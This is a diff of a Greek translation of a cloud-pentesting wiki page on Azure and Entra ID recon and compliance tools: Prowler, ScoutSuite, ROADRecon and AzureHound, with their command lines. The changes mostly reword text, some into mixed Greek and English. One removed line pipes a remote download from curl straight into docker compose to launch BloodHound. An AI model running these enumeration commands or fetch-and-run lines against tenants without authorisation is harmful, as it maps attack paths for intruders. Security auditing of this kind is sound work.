@@ -118,36 +118,37 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
```bash
Get-AzResourceGroup -Debug
```
-Για να κάνετε **MitM** στο εργαλείο και να **ελέγξετε όλα τα αιτήματα** που στέλνει χειροκίνητα, μπορείτε να ρυθμίσετε τις μεταβλητές περιβάλλοντος `HTTPS_PROXY` και `HTTP_PROXY` σύμφωνα με τα [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
+Για να κάνετε **MitM** στο εργαλείο και να **ελέγξετε όλες τις αιτήσεις** που στέλνει χειροκίνητα, μπορείτε να ορίσετε τις μεταβλητές περιβάλλοντος `HTTPS_PROXY` και `HTTP_PROXY` σύμφωνα με τα [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
### Microsoft Graph PowerShell
-Το Microsoft Graph PowerShell είναι ένα SDK πολλαπλών πλατφορμών που επιτρέπει την πρόσβαση σε όλα τα Microsoft Graph APIs, συμπεριλαμβανομένων υπηρεσιών όπως το SharePoint, το Exchange και το Outlook, χρησιμοποιώντας ένα μόνο endpoint. Υποστηρίζει PowerShell 7+, σύγχρονη αυθεντικοποίηση μέσω MSAL, εξωτερικές ταυτότητες και προηγμένα ερωτήματα. Με έμφαση στην πρόσβαση με ελάχιστα δικαιώματα, διασφαλίζει ασφαλείς λειτουργίες και λαμβάνει τακτικές ενημερώσεις για να ευθυγραμμίζεται με τις τελευταίες δυνατότητες του Microsoft Graph API.
+Microsoft Graph PowerShell είναι ένα cross-platform SDK που επιτρέπει πρόσβαση σε όλα τα Microsoft Graph APIs, συμπεριλαμβανομένων υπηρεσιών όπως SharePoint, Exchange, και Outlook, χρησιμοποιώντας ένα ενιαίο endpoint. Υποστηρίζει PowerShell 7+, σύγχρονη authentication μέσω MSAL, external identities, και advanced queries. Με έμφαση στην πρόσβαση least privilege, εξασφαλίζει ασφαλείς λειτουργίες και λαμβάνει τακτικά updates για να ευθυγραμμίζεται με τα τελευταία χαρακτηριστικά του Microsoft Graph API.
-Ακολουθήστε αυτόν τον σύνδεσμο για τις [**οδηγίες εγκατάστασης**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
+Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
-Οι εντολές στο Microsoft Graph PowerShell είναι δομημένες ως εξής: `-Mg`
+Commands in Microsoft Graph PowerShell are structured like: `-Mg`
#### Debug Microsoft Graph PowerShell
-Χρησιμοποιώντας την παράμετρο **`-Debug`** είναι δυνατόν να δείτε όλα τα αιτήματα που στέλνει το εργαλείο:
+Χρησιμοποιώντας την παράμετρο **`-Debug`** είναι δυνατή η εμφάνιση όλων των αιτήσεων που στέλνει το εργαλείο:
```bash
Get-MgUser -Debug
```
### ~~**AzureAD Powershell**~~
-Το Azure Active Directory (AD) module, τώρα **παρωχημένο**, είναι μέρος του Azure PowerShell για τη διαχείριση πόρων Azure AD. Παρέχει cmdlets για εργασίες όπως η διαχείριση χρηστών, ομάδων και εγγραφών εφαρμογών στο Entra ID.
+Το Azure Active Directory (AD) module, πλέον **deprecated**, είναι μέρος του Azure PowerShell για τη διαχείριση πόρων Azure AD. Παρέχει cmdlets για εργασίες όπως η διαχείριση χρηστών, ομάδων και εγγραφών εφαρμογών στο Entra ID.
> [!TIP]
> Αυτό έχει αντικατασταθεί από το Microsoft Graph PowerShell
-Ακολουθήστε αυτόν τον σύνδεσμο για τις [**οδηγίες εγκατάστασης**](https://www.powershellgallery.com/packages/AzureAD).
+Ακολουθήστε αυτόν τον σύνδεσμο για τις [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
-## Automated Recon & Compliance Tools
+
+## Αυτοματοποιημένα Recon & Compliance Tools
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
-Το Turbot με το steampipe και powerpipe επιτρέπει τη συλλογή πληροφοριών από το Azure και το Entra ID και την εκτέλεση ελέγχων συμμόρφωσης και την εύρεση κακών ρυθμίσεων. Τα πιο συνιστώμενα Azure modules που πρέπει να εκτελούνται είναι:
+Το Turbot μαζί με το steampipe και το powerpipe επιτρέπουν τη συλλογή πληροφοριών από το Azure και το Entra ID, καθώς και την εκτέλεση ελέγχων συμμόρφωσης και την ανίχνευση λανθασμένων ρυθμίσεων. Τα προς το παρόν πιο συνιστώμενα Azure modules για εκτέλεση είναι:
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
@@ -178,9 +179,9 @@ powerpipe server
```
### [Prowler](https://github.com/prowler-cloud/prowler)
-Το Prowler είναι ένα εργαλείο ανοιχτού κώδικα για την εκτέλεση αξιολογήσεων, ελέγχων, αντίκτυπου περιστατικών, συνεχούς παρακολούθησης, σκληραγώγησης και ετοιμότητας για εγκληματολογική ανάλυση σχετικά με τις βέλτιστες πρακτικές ασφάλειας για AWS, Azure, Google Cloud και Kubernetes.
+Το Prowler είναι ένα εργαλείο ασφάλειας ανοιχτού κώδικα για την εκτέλεση αξιολογήσεων βέλτιστων πρακτικών ασφάλειας, ελέγχων, αντιμετώπισης περιστατικών, συνεχούς παρακολούθησης, σκληροποίησης και ετοιμότητας ψηφιακής εγκληματολογίας σε περιβάλλοντα AWS, Azure, Google Cloud και Kubernetes.
-Βασικά, θα μας επιτρέψει να εκτελέσουμε εκατοντάδες ελέγχους σε ένα περιβάλλον Azure για να βρούμε παραμορφώσεις ασφάλειας και να συγκεντρώσουμε τα αποτελέσματα σε json (και άλλες μορφές κειμένου) ή να τα ελέγξουμε στο διαδίκτυο.
+Βασικά μάς επιτρέπει να τρέξουμε εκατοντάδες ελέγχους σε ένα περιβάλλον Azure για να εντοπίσουμε λανθασμένες ρυθμίσεις ασφάλειας και να συγκεντρώσουμε τα αποτελέσματα σε json (και άλλες μορφές κειμένου) ή να τα ελέγξουμε στο web.
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
@@ -202,9 +203,9 @@ docker run --rm -e "AZURE_CLIENT_ID=" -e "AZURE_TENANT_ID=
```
### [Monkey365](https://github.com/silverhack/monkey365)
-Επιτρέπει την αυτόματη εκτέλεση ελέγχων ρυθμίσεων ασφαλείας για Azure subscriptions και Microsoft Entra ID.
+Σας επιτρέπει να διεξάγετε αυτόματα ανασκοπήσεις διαμόρφωσης ασφάλειας για Azure subscriptions και Microsoft Entra ID.
-Οι αναφορές HTML αποθηκεύονται μέσα στον φάκελο `./monkey-reports` του αποθετηρίου github.
+Οι HTML αναφορές αποθηκεύονται στον κατάλογο `./monkey-reports` μέσα στον φάκελο του github repository.
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
@@ -225,7 +226,7 @@ Invoke-Monkey365 -TenantId -ClientId -ClientSecret $Secu
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
-Το Scout Suite συγκεντρώνει δεδομένα διαμόρφωσης για χειροκίνητη επιθεώρηση και επισημαίνει περιοχές κινδύνου. Είναι ένα εργαλείο ελέγχου ασφαλείας πολλαπλών σύννεφων, το οποίο επιτρέπει την αξιολόγηση της ασφάλειας των περιβαλλόντων σύννεφου.
+Το Scout Suite συλλέγει δεδομένα διαμόρφωσης για χειροκίνητη επιθεώρηση και επισημαίνει περιοχές κινδύνου. Είναι ένα εργαλείο ελέγχου ασφάλειας για multi-cloud, που επιτρέπει την αξιολόγηση της στάσης ασφαλείας περιβαλλόντων cloud.
```bash
virtualenv -p python3 venv
source venv/bin/activate
@@ -241,9 +242,9 @@ python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
-Είναι ένα script PowerShell που σας βοηθά να **οπτικοποιήσετε όλους τους πόρους και τις άδειες μέσα σε μια Ομάδα Διαχείρισης και το tenant Entra ID** και να βρείτε παραλείψεις ασφαλείας.
+Είναι ένα powershell script που σε βοηθάει να **απεικονίσεις όλους τους πόρους και τα δικαιώματα μέσα σε ένα Management Group και το Entra ID tenant** και να εντοπίσεις λανθασμένες ρυθμίσεις ασφαλείας.
-Λειτουργεί χρησιμοποιώντας το module Az PowerShell, οπότε οποιαδήποτε αυθεντικοποίηση υποστηρίζεται από αυτό το εργαλείο υποστηρίζεται από το εργαλείο.
+Λειτουργεί με το Az PowerShell module, οπότε οποιαδήποτε μέθοδος ελέγχου ταυτότητας που υποστηρίζεται από αυτό υποστηρίζεται και από το εργαλείο.
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId [-SubscriptionIdWhitelist ]
@@ -252,7 +253,7 @@ import-module Az
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
-Η καταμέτρηση του ROADRecon προσφέρει πληροφορίες σχετικά με τη διαμόρφωση του Entra ID, όπως χρήστες, ομάδες, ρόλοι, πολιτικές πρόσβασης με όρους...
+Η enumeration του ROADRecon παρέχει πληροφορίες σχετικά με τη διαμόρφωση του Entra ID, όπως χρήστες, ομάδες, ρόλοι και πολιτικές Conditional Access...
```bash
cd ROADTools
pipenv shell
@@ -264,20 +265,89 @@ roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
-```bash
-# Launch AzureHound
-## Login with app secret
-azurehound -a "" -s "" --tenant "" list -o ./output.json
-## Login with user creds
-azurehound -u "" -p "" --tenant "" list -o ./output.json
-```
-Λανσάρετε το **BloodHound** με **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** και εισάγετε το αρχείο `output.json`.
-Στη συνέχεια, στην καρτέλα **EXPLORE**, στην ενότητα **CYPHER** μπορείτε να δείτε ένα εικονίδιο **φακέλου** που περιέχει προ-κατασκευασμένα ερωτήματα.
+Το AzureHound είναι ο collector του BloodHound για Microsoft Entra ID και Azure. Είναι ένα ενιαίο στατικό Go binary για Windows/Linux/macOS που επικοινωνεί απευθείας με:
+- Microsoft Graph (Entra ID directory, M365) και
+- Azure Resource Manager (ARM) control plane (subscriptions, resource groups, compute, storage, key vault, app services, AKS, etc.)
+
+Κύρια χαρακτηριστικά
+- Τρέχει από οπουδήποτε στο δημόσιο διαδίκτυο απέναντι σε tenant APIs (δεν απαιτείται πρόσβαση σε εσωτερικό δίκτυο)
+- Εξάγει JSON για εισαγωγή στο BloodHound CE ώστε να οπτικοποιηθούν attack paths ανάμεσα σε identities και cloud resources
+- Προεπιλεγμένο User-Agent που παρατηρήθηκε: azurehound/v2.x.x
+
+Επιλογές αυθεντικοποίησης
+- Username + password: -u -p
+- Refresh token: --refresh-token